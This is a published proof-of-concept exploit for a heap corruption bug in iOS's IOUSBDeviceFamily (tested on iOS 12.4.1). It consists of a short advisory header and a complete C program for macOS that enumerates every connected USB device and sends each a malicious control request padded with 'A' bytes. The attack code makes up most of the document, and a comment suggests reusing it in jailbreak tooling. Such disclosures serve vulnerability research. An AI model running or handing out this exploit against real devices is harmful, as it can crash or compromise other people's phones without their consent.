# Exploit Title: iOS IOUSBDeviceFamily 12.4.1 - 'IOInterruptEventSource' Heap Corruption (PoC)
# Date: 2019-10-29
# Exploit Author: Sem Voigtlander, Joshua Hill and Raz Mashat
# Vendor Homepage: https://apple.com/
# Software Link: https://support.apple.com/en-hk/HT210606
# Version: iOS 13
# Tested on: iOS 12.4.1
# CVE : N/A
# A vulnerable implementation of IOInterruptEventSource on a workloop exists in IOUSBDeviceFamily.
# The code can be triggered by a local attacker by sending a malicious USB control request to device.
# It seems the faulting address register is corrupted as result of a heap corruption vulnerability.
# However, on earlier iOS versions (tested on 12.0.1) we were able to trigger a use after free in reserved->statistics relating to the same vulnerable code too.
# This bug was found through statically analyzing xnu from public source and optimized USB fuzzing.
# A proof of concept written in C for macOS is attached, for other platforms python and c code using libusb exists on GitHub (https://github.com/userlandkernel/USBusted)
iousbusted.c
/*
Pure IOKit implementation of CVE-2019-8718
Written by Sem Voigtländer.
Compile: clang iousbusted.c -o iousbusted -framework IOKit -framework CoreFoundation
Tip: You can also use this for projects like checkm8 autopwn etc.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <mach/mach.h>
#include <IOKit/usb/IOUSBLib.h>
#include <IOKit/IOCFPlugIn.h>
#include <CoreFoundation/CoreFoundation.h>
/* Faster comparissions for 64-bit integers than != and == */
#define FCOMP(P1,P2) !(P1 ^ P2)
const char *defaultMsg = "HELLO WORLD";
/* Method for sending an USB control message to a target device */
static int send_usb_msg(IOUSBDeviceInterface** dev, int type, int reqno, int val, int idx, const char *msg)
{
if(!dev){
printf("No device handle given.\n");
return KERN_FAILURE;
}
if(!msg)
msg = defaultMsg;
IOUSBDevRequest req;
req.bmRequestType = type;
req.bRequest = reqno;
req.wValue = val;
req.wIndex = idx;
req.wLength = strlen(msg);
req.pData = msg;
req.wLenDone = 0;
IOReturn rc = KERN_SUCCESS;
rc = (*dev)->DeviceRequest(dev, &req);
if(rc != KERN_SUCCESS)
{
return rc;
}
return KERN_SUCCESS;
}
static int send_usbusted_pwn_msg(IOUSBDeviceInterface** dev, const char *msg)
{
if(!dev){
printf("No device handle given.\n");
return KERN_FAILURE;
}
kern_return_t rc = send_usb_msg(dev, 0|0x80, 0x6, 0x30c, 0x409, msg);
if(rc != kIOReturnSuccess)
{
return rc;
}
return KERN_SUCCESS;
}
/* Print information from an IOKit USB device */
static int print_usb_device(io_service_t device){
kern_return_t err = KERN_SUCCESS;
CFNumberRef vid = 0;
CFNumberRef pid = 0;
CFNumberRef locationID = 0;
CFMutableDictionaryRef p = NULL;
err = IORegistryEntryCreateCFProperties(device, &p, NULL, 0);
if(err != KERN_SUCCESS || !p)
return err;
if(!CFDictionaryGetValueIfPresent(p, CFSTR("idVendor"), &vid))
return KERN_FAILURE;
if(!CFDictionaryGetValueIfPresent(p, CFSTR("idProduct"), &pid))
return KERN_FAILURE;
CFDictionaryGetValueIfPresent(p, CFSTR("locationID"), &locationID);
CFNumberGetValue(vid, kCFNumberSInt32Type, &vid);
CFNumberGetValue(pid, kCFNumberSInt32Type, &pid); // <-- yes I know this is dirty, I was tired.
if(locationID)
CFNumberGetValue(locationID, kCFNumberSInt32Type, &locationID);
printf("Got device %#x @ %#x (%#x:%#x)\n", device, locationID, vid, pid);
return err;
}
/* Get a handle for sending to a device */
static int get_usbdevice_handle(io_service_t device, IOUSBDeviceInterface* dev){
kern_return_t err = KERN_SUCCESS;
SInt32 score;
IOCFPlugInInterface** plugInInterface = NULL;
err = IOCreatePlugInInterfaceForService(device,
kIOUSBDeviceUserClientTypeID,
kIOCFPlugInInterfaceID,
&plugInInterface, &score);
if (err != KERN_SUCCESS || plugInInterface == NULL)
return err;
err = (*plugInInterface)->QueryInterface(plugInInterface, CFUUIDGetUUIDBytes(kIOUSBDeviceInterfaceID), (LPVOID*)dev);
if(err != kIOReturnSuccess)
return err;
// Now done with the plugin interface.
(*plugInInterface)->Release(plugInInterface);
//plugInInterface = NULL;
if(!dev)
return KERN_FAILURE;
return err;
}
/* Iterate over all USB devices */
static int iterate_usb_devices(const char *msg){
CFMutableDictionaryRef matchingDict;
io_iterator_t iter;
kern_return_t kr;
io_service_t device;
/* set up a matching dictionary for the class */
matchingDict = IOServiceMatching(kIOUSBDeviceClassName);
if (matchingDict == NULL)
{
return -1; // fail
}
/* Now we have a dictionary, get an iterator.*/
kr = IOServiceGetMatchingServices(kIOMasterPortDefault, matchingDict, &iter);
if (kr != KERN_SUCCESS)
{
return -1;
}
/* iterate */
while ((device = IOIteratorNext(iter)))
{
/* do something with device, eg. check properties */
kr = print_usb_device(device);
if(kr != KERN_SUCCESS){
printf("Skipping device as it has no vid / pid.\n");
continue;
}
IOUSBDeviceInterface **dev = 0;
kr = get_usbdevice_handle(device, &dev);
if(kr != KERN_SUCCESS){
printf("Skipping device as no handle for it could be retrieved.\n");
continue;
}
kr = send_usbusted_pwn_msg(dev, msg);
printf("RET: %s\n\n", mach_error_string(kr));
/* And free the reference taken before continuing to the next item */
IOObjectRelease(device);
}
/* Done, release the iterator */
IOObjectRelease(iter);
return 0;
}
int main(int argc, char *argv[]){
char payload[108];
memset(&payload, 'A', 108);
int err = iterate_usb_devices(payload);
return err;
}
